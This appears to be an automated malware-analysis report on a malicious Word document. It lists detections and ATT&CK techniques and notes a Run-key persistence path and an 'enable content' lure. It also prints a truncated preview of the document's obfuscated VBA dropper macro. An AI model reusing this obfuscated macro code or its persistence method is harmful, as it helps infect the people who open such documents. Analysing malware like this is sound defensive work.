MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is executed upon opening, which uses 'CreateObject' to likely download and execute a second-stage payload. The macro constructs a registry path for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy. The document body prompts the user to enable content to enter a 'Hash Code', indicating a social engineering lure.
Heuristics 7
-
ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/cusTIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 334569 bytes |
SHA-256: 2263315944120e39ec1ee91026846b3f3537b65b16b6d147aba2efaa6021e175 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 444 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "RefEdit1, 0, 1, MSForms, TextBox"
Option Explicit
Public Function rHqB(jDBx As String, IAWY As String)
Dim vxWR As Object
Set vxWR = CreateObject(IAWY)
Dim FAEO As Object
Dim LxfM As String
LxfM = ""
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(104, 82)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(242, 162)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(39, 74)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(222, 152)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(98, 26)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(125, 47)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(230, 149)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, AvXW(AxLs(145, 191)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
Set FAEO = vxWR.CreateTextFile(LxfM, True, True)
FAEO.Write jDBx
FAEO.Close
End Function
Public Function nwTp(jDBx As String)
Dim Ehwl As Object
Set Ehwl = CreateObject(jDBx)
Dim LxfM As String
LxfM = ""
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(104, 82)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(242, 162)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(39, 74)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(222, 152)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(98, 26)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(125, 47)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxL
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.